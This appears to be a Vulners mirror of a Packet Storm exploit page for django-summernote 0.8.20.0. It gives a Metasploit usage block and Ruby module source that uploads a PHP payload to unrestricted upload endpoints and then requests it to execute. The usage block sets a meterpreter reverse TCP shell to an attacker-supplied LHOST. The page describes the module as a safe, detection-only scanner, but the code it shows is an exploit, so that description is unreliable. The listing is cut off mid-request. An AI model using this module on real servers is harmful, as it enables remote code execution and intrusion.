Lucene search
K

📄 Django Summernote 0.8.20.0 Unrestricted File Upload Scanner

🗓️ 28 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 119 Views

Metasploit scanner detects unrestricted file uploads in django-summernote when Pillow is missing.

Code
=============================================================================================================================================
    | # Title     : Django Summernote 0.8.20.0 Unrestricted File Upload Scanner (Auxiliary)                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://djangopackages.org/packages/p/django-summernote/                                                                    |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/214231/
    
    [+] Summary    :  This Metasploit Auxiliary Scanner module detects unrestricted file upload vulnerabilities in django-summernote. 
                      It targets misconfigurations where image validation depends on the Pillow library and allows non-image files to be uploaded when Pillow is missing. 
                      The module safely scans common upload endpoints, handles CSRF protection, and confirms vulnerability by observing successful JSON responses containing uploaded file URLs. 
                      It performs detection only, does not execute payloads, and is designed for safe, non-intrusive security assessment.
    
    [+] Usage : 
    
    
    use exploit/unix/http/django_summernote_rce
    set RHOSTS 192.168.1.100
    set RPORT 80
    set TARGETURI /
    set PAYLOAD php/meterpreter/reverse_tcp
    set LHOST [Your_IP]
    set LPORT 4444
    
    check
    
    exploit
    
    [+] POC :
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name'           => 'Django Summernote Unrestricted File Upload RCE',
            'Description'    => %q{
              This module exploits an unrestricted file upload vulnerability in django-summernote <= 0.8.20.0.
              The vulnerability occurs when the 'Pillow' library is missing from the server environment,
              forcing the application to use a 'FileField' instead of an 'ImageField'. 
              This allows an attacker to upload arbitrary files (such as PHP shells).
              If the media directory is misconfigured to allow script execution, Remote Code Execution (RCE) is possible.
            },
            'Author'         => [ 'indoushka' ],
            'License'        => MSF_LICENSE,
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [
              ['PHP Payload (Generic)', { 'Platform' => 'php', 'Arch' => ARCH_PHP }]
            ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => '2026-01-24',
            'References'     => [
              ['URL', 'https://github.com/summernote/django-summernote']
            ],
            'Notes'          => {
              'Stability'   => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to the Django application', '/'])
        ])
      end
    
      def check
        upload_paths = [
          '/summernote/upload_editor_file/',
          '/summernote/upload_attachment/',
          '/admin/summernote/upload_editor_file/'
        ]
    
        upload_paths.each do |path|
          full_path = normalize_uri(target_uri.path, path)
          res = send_request_cgi('method' => 'GET', 'uri' => full_path)
    
          if res && (res.code == 405 || (res.code == 200 && res.body.include?('upload_editor_file')))
            return Exploit::CheckCode::Appears
          end
        end
        Exploit::CheckCode::Safe
      end
    
      def exploit
        upload_paths = [
          '/summernote/upload_editor_file/',
          '/summernote/upload_attachment/',
          '/admin/summernote/upload_editor_file/'
        ]
    
        upload_paths.each do |path|
          full_path = normalize_uri(target_uri.path, path)
          print_status("Checking endpoint: #{full_path}")
    
          res = send_request_cgi('method' => 'GET', 'uri' => full_path)
          next unless res
    
          cookies = res.get_cookies
          csrf_token = res.get_cookies_parsed['csrftoken']&.first
    
          filename = "#{Rex::Text.rand_text_alpha(8)}.php"
          data = Rex::MIME::Message.new
          
          if csrf_token
            data.add_part(csrf_token, nil, nil, 'form-data; name="csrfmiddlewaretoken"')
          end
    
          data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files\"; filename=\"#{filename}\"")
    
          print_status("Attempting to upload payload: #{filename}")
    
          res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => full_path,
            'ctype'   => "multipart/form-data; boundary=#{data.bound}",
            'cookie'  => cookies,
            'headers' => { 'Referer' => full_path }, # Referer is often required for Django CSRF
            'data'    => data.to_s
          })
    
          if res && res.code == 200 && res.headers['Content-Type']&.include?('application/json')
            begin
              json_res = res.get_json_document
    
              file_url = json_res['files'] ? json_res['files'][0]['url'] : json_res['url']
    
              if file_url
                print_good("Payload uploaded successfully: #{file_url}")
    
                register_file_for_cleanup(File.basename(file_url))
    
                print_status("Executing payload via GET request...")
                send_request_cgi({
    			
    
    Greetings to :============================================================
    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
    ==========================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation